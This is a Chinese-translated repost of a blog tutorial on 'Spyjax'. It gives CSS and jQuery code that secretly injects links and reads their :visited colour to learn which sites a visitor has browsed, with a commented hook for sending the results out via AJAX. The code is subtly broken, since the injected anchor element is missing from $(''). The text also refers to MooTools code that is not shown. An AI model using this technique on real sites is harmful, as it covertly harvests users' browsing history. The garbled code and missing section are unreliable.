邪恶的AJAX：使用jQuery的Spyjax

Myth丶恋晨 2023-02-21 14:30 16阅读 0赞

Last year I wrote a popular post titled AJAX For Evil: Spyjax when I described a technique called "Spyjax":

去年，当我描述一种称为“ Spyjax”的技术时，我写了一篇热门文章《 AJAX For Evil：Spyjax》：

> Spyjax, as I know it, is taking information from the user's computer for your own use — specifically their browsing habits. By using CSS and JavaScript, I can inject anchor links into the page and tell whether you've been to the link's URL. How? Quite easy actually.

> 据我所知，Spyjax正在从用户计算机中获取信息供您自己使用-特别是他们的浏览习惯。 通过使用CSS和JavaScript，我可以在页面中注入锚链接，并告诉您是否访问过链接的URL。 怎么样？ 实际上很容易。

I've taken the time to demonstrate this technique using jQuery.

我花了一些时间来使用jQuery演示这种技术。

[View Basic Demo][] [查看基本演示][View Basic Demo] [View Advanced Demo][] [查看高级演示][View Advanced Demo]

## CSS **(**The CSS**)** ##

a.checkme			{ color:#00ff00; }
    a.checkme:visited	{ color:#ff0000; }

The most important part of the CSS is the difference in ":link" and ":visited" color; the method by which we can tell if a site has been visited is by its link color being the ":visited" color.

CSS最重要的部分是“：link”和“：visited”颜色的区别； 我们可以通过链接颜色为“：visited”(访问)颜色来判断网站是否已被访问的方法。

## jQuery JavaScript **(**The jQuery JavaScript**)** ##

//when the page is ready
    $(document).ready(function() {
    	//the list of domains to check and an array which will store hits
    	var domains = ['davidwalsh.name','css-tricks.com','scriptandstyle.com','cnn.com','digg.com'];
    	var visited = [];
    	//for every domain...
    	$.each(domains,function() {
    		//inject a link into page
    		var a = $('').attr({
    			href: 'http://' + this,
    			'class': 'checkme'
    		}).appendTo(document.body);
    		//check the color of the link
    		if($(a).css('color') == '#ff0000' || $(a).css('color') == 'rgb(255, 0, 0)') { //either format of color
    			$(a).addClass('highlight');
    			visited.push(this);
    		}
    		//remove from the page -- no longer need the links
    		a.remove();
    	});
    	if(visited.length) {
    		//save via ajax!  shady!
    		//display items on the page based on "hits"
    	}
    });

We start by injecting a bunch of hidden links into the page (unbeknownst to the user). For each link we've injected into the page, our jQuery JavaScript grabs the link color -- if the link's color matches the designated ":visited" link color we set via CSS, we've found a site the user's been to. Of course we can do anything we want with that information, including saving it via AJAX. Why? Well, if we know a user has been to Digg.com, maybe we show the Digg "share" icon instead of the Reddit icon.

首先，将一堆隐藏的链接注入到页面中(用户不知道)。 对于我们注入到页面中的每个链接，我们的jQuery JavaScript都会获取链接颜色-如果该链接的颜色与我们通过CSS设置的指定“：visited”链接颜色相匹配，那么我们已经找到了用户访问过的网站。 当然，我们可以使用该信息做任何想要的事情，包括通过AJAX保存它。 为什么？ 好吧，如果我们知道某个用户访问过Digg.com，也许我们会显示Digg“共享”图标而不是Reddit图标。

## MooTools JavaScript **(**The MooTools JavaScript**)** ##

The above code accomplishes the same task using MooTools as outlined in my [previous Spyjax post][].

上面的代码使用MooTools完成了我[以前的Spyjax帖子中][previous Spyjax post]概述的相同任务。

[View Basic Demo][] [查看基本演示][View Basic Demo] [View Advanced Demo][] [查看高级演示][View Advanced Demo]

What are your thoughts on Spyjax? Harmless? Major privacy violation? You tell me!

您对Spyjax有什么想法？ 无害？ 严重侵犯隐私？ 你告诉我！

> 翻译自: [https://davidwalsh.name/jquery-spyjax][https_davidwalsh.name_jquery-spyjax]

[View Basic Demo]: https://davidwalsh.name/demo/jquery-spyjax.php
[View Advanced Demo]: https://davidwalsh.name/demo/jquery-spyjax-advanced.php
[previous Spyjax post]: https://davidwalsh.name/ajax-evil-spyjax
[https_davidwalsh.name_jquery-spyjax]: https://davidwalsh.name/jquery-spyjax